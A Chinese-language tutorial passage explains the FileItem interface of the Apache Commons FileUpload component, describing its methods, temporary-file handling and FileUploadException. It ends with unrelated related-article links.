  注意 如果读者在使用Apache文件上传组件时遇到了中文字符的乱码问题 一般都是没有正确调用setHeaderEncoding方法的原因

     FileItem类

  FileItem类用来封装单个表单字段元素的数据 一个表单字段元素对应一个FileItem对象 通过调用FileItem对象的方法可以获得相关表单字段元素的数据 FileItem是一个接口 在应用程序中使用的实际上是该接口一个实现类 该实现类的名称并不重要 程序可以采用FileItem接口类型来对它进行引用和访问 为了便于讲解 这里将FileItem实现类称之为FileItem类 FileItem类还实现了Serializable接口 以支持序列化操作

  对于 multipart/form data 类型的FORM表单 浏览器上传的实体内容中的每个表单字段元素的数据之间用字段分隔界线进行分割 两个分隔界线间的内容称为一个分区 每个分区中的内容可以被看作两部分 一部分是对表单字段元素进行描述的描述头 另外一部是表单字段元素的主体内容 如图 所示

  图

  主体部分有两种可能性 要么是用户填写的表单内容 要么是文件内容 FileItem类对象实际上就是对图 中的一个分区的数据进行封装的对象 它内部用了两个成员变量来分别存储描述头和主体内容 其中保存主体内容的变量是一个输出流类型的对象 当主体内容的大小小于DiskFileUpload setSizeThreshold方法设置的临界值大小时 这个流对象关联到一片内存 主体内容将会被保存在内存中 当主体内容的数据超过DiskFileUpload setSizeThreshold方法设置的临界值大小时 这个流对象关联到硬盘上的一个临时文件 主体内容将被保存到该临时文件中 临时文件的存储目录由DiskFileUpload setRepositoryPath方法设置 临时文件名的格式为 upload_ (八位或八位以上的数字) tmp 这种形式 FileItem类内部提供了维护临时文件名中的数值不重复的机制 以保证了临时文件名的唯一性 当应用程序将主体内容保存到一个指定的文件中时 或者在FileItem对象被垃圾回收器回收时 或者Java虚拟机结束时 Apache文件上传组件都会尝试删除临时文件 以尽量保证临时文件能被及时清除

  下面介绍FileItem类中的几个常用的方法

   isFormField方法

  isFormField方法用于判断FileItem类对象封装的数据是否属于一个普通表单字段 还是属于一个文件表单字段 如果是普通表单字段则返回true 否则返回false 该方法的完整语法定义如下

  public boolean isFormField()

   getName方法

  getName方法用于获得文件上传字段中的文件名 对于图 中的第三个分区所示的描述头 getName方法返回的结果为字符串 C:\\bg gif 如果FileItem类对象对应的是普通表单字段 getName方法将返回null 即使用户没有通过网页表单中的文件字段传递任何文件 但只要设置了文件表单字段的name属性 浏览器也会将文件字段的信息传递给服务器 只是文件名和文件内容部分都为空 但这个表单字段仍然对应一个FileItem对象 此时 getName方法返回结果为空字符串 读者在调用Apache文件上传组件时要注意考虑这个情况 getName方法的完整语法定义如下

  public String getName()

  注意 如果用户使用Windows系统上传文件 浏览器将传递该文件的完整路径 如果用户使用Linux或者Unix系统上传文件 浏览器将只传递该文件的名称部分

   .getFieldName方法

  getFieldName方法用于返回表单字段元素的name属性值 也就是返回图 中的各个描述头部分中的name属性值 例如 name=p 中的 p getFieldName方法的完整语法定义如下

  public String getFieldName()

   write方法

  write方法用于将FileItem对象中保存的主体内容保存到某个指定的文件中 如果FileItem对象中的主体内容是保存在某个临时文件中 该方法顺利完成后 临时文件有可能会被清除 该方法也可将普通表单字段内容写入到一个文件中 但它主要用途是将上传的文件内容保存在本地文件系统中 其完整语法定义如下

  public void write(File file)

   .getString方法

  getString方法用于将FileItem对象中保存的主体内容作为一个字符串返回 它有两个重载的定义形式

  public java lang String getString()

  public java lang String getString(java lang String encoding)

  throws java io UnsupportedEncodingException

  前者使用缺省的字符集编码将主体内容转换成字符串 后者使用参数指定的字符集编码将主体内容转换成字符串 如果在读取普通表单字段元素的内容时出现了中文乱码现象 请调用第二个getString方法 并为之传递正确的字符集编码名称

   getContentType方法

  getContentType 方法用于获得上传文件的类型 对于图 中的第三个分区所示的描述头 getContentType方法返回的结果为字符串 image/gif 即 Content Type 字段的值部分 如果FileItem类对象对应的是普通表单字段 该方法将返回null getContentType 方法的完整语法定义如下

  public String getContentType()

   isInMemory方法

  isInMemory方法用来判断FileItem类对象封装的主体内容是存储在内存中 还是存储在临时文件中 如果存储在内存中则返回true 否则返回false 其完整语法定义如下

  public boolean isInMemory()

   delete方法

  delete方法用来清空FileItem类对象中存放的主体内容 如果主体内容被保存在临时文件中 delete方法将删除该临时文件 尽管Apache组件使用了多种方式来尽量及时清理临时文件 但系统出现异常时 仍有可能造成有的临时文件被永久保存在了硬盘中 在有些情况下 可以调用这个方法来及时删除临时文件 其完整语法定义如下

  public void delete()

   FileUploadException类

  在文件上传过程中 可能发生各种各样的异常 例如网络中断 数据丢失等等 为了对不同异常进行合适的处理 Apache文件上传组件还开发了四个异常类 其中FileUploadException是其他异常类的父类 其他几个类只是被间接调用的底层类 对于Apache组件调用人员来说 只需对FileUploadException异常类进行捕获和处理即可

   ServletRequestContext

lishixinzhi/Article/program/Java/hx/201311/26285

以上是关于求一个精悍的ASP无组件上传程序的主要内容,如果未能解决你的问题,请参考以下文章

如何在网页实现上传各种文件或图片视频等功能

jQuery.uploadify文件上传组件实例讲解

将 props 从类组件传递到无状态组件

隔离(无注册)COM 组件行为

React 无状态组件中的事件处理程序

反应无状态子组件不会更新父组件中的状态更改